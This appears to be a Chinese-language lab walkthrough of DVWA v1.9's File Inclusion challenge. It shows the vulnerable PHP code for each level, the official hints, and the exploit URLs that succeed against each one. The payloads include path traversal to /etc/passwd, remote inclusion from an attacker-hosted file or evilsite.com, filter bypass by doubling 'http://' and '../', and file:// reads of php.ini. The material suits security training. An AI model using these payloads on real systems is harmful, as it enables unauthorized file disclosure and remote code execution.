DVWA V1.9:File Inclusion(文件包含)

DVWA V1.9:File Inclusion(文件包含)

  • File Inclusion 介绍
  • Low 级别
    • 核心代码
    • 官方提示
    • 漏洞利用
  • Medium 级别
    • 核心代码
    • 官方提示
    • 漏洞利用
  • High 级别
    • 核心代码
    • 官方提示
    • 漏洞利用
  • Impossible 级别
    • 核心代码
    • 官方提示

File Inclusion 介绍

一些Web应用程序允许用户指定直接用于文件流的输入,或者允许用户将文件上载到服务器。
在稍后的时间,Web应用程序访问Web应用上下文中的用户提供的输入。
通过这样做,Web应用程序允许潜在的恶意文件执行。

如果所选择的文件在目标机上是本地的,则称为“本地文件包含(LFI)”。
但是文件也可以包含在其他机器上,然后攻击是一个“远程文件包含(RFI)”。

当RFI不是一个选项。使用LFI(如文件上传和目录遍历)的另一个漏洞通常可以达到相同的效果。

注意,“文件包含”一词与“任意文件访问”或“文件泄露”不一样。
DVWA V1.9:File Inclusion(文件包含)_第1张图片

Low 级别

核心代码



// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到,服务器端对page参数没有做任何的过滤跟检查。
服务器期望用户的操作是点击下面的三个链接,服务器会包含相应的文件,并将结果返回。

需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行。

官方提示

这允许直接输入到许多PHP函数之一这将包括执行时的内容。
取决于Web服务的配置将取决于RFI是可能的。

Spoiler: LFI: ?page=../../../../../../etc/passwd.
Spoiler: RFI: ?page=http://www.evilsite.com/evil.php.

漏洞利用

1.本地文件包含

构造url
http://43.247.91.228:81/vulnerabilities/fi/?page=../../../../../../etc/passwd

DVWA V1.9:File Inclusion(文件包含)_第2张图片
2.远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行。
在远程服务器192.168.5.12上传一个phpinfo.txt文件,内容如下
DVWA V1.9:File Inclusion(文件包含)_第3张图片

构造url
http://43.247.91.228:81/vulnerabilities/fi/?page=http://192.168.5.12/phpinfo.txt

DVWA V1.9:File Inclusion(文件包含)_第4张图片

Medium 级别

核心代码



// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到,Medium级别的代码增加了str_replace函数,对page参数进行了一定的处理,将”http:// ”、”https://”、 ” …/”、”…\”替换为空字符,即删除。

官方提示

开发人员已经阅读了LFI/RFI中的一些问题,并决定过滤输入。然而,使用的模式是不够的。

Spoiler: LFI: Possible, due to it only cycling through the pattern matching once.
Spoiler: RFI: PHP Streams.

漏洞利用

使用str_replace函数是极其不安全的,因为可以使用双写绕过替换规则。

例如page=hthttp://tp://192.168.5.12/phpinfo.txt时,str_replace函数会将http://删除,于是page=http://192.168.5.12/phpinfo.txt,成功执行远程命令。

同时,因为替换的只是“…/”、“…\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。

1.本地文件包含

http://43.247.91.228:81/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd

DVWA V1.9:File Inclusion(文件包含)_第5张图片
2.远程文件包含

http://43.247.91.228:81/vulnerabilities/fi/?page=hthttptp://192.168.5.12/phpinfo.txt

DVWA V1.9:File Inclusion(文件包含)_第6张图片

High 级别

核心代码



// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到,High级别的代码使用了fnmatch函数检查page参数,要求page参数的开头必须是file,服务器才会去包含相应的文件。

官方提示

开发人员已经受够了。他们决定只允许使用某些文件。然而,由于有多个文件具有相同的基名,所以它们使用通配符将它们全部包括在内。

Spoiler: LFI: The filename only has start with a certain value..
Spoiler: RFI: Need to link in another vulnerability, such as file upload.

漏洞利用

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。
file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,如下图。
DVWA V1.9:File Inclusion(文件包含)_第7张图片

http://192.168.153.130/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini

成功读取了服务器的配置文件
DVWA V1.9:File Inclusion(文件包含)_第8张图片
至于执行任意命令,需要配合文件上传漏洞利用。
首先需要上传一个内容为php的文件,然后再利用file协议去包含上传文件(需要知道上传文件的绝对路径),从而实现任意命令执行。

Impossible 级别

核心代码



// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

官方提示

开发人员将其退出并只对允许的页进行硬编码,并有精确的文件名。
通过这样做,它消除了所有攻击的途径。

参考链接:
新手指南:DVWA-1.9全级别教程之File Inclusion

你可能感兴趣的:(靶场实战)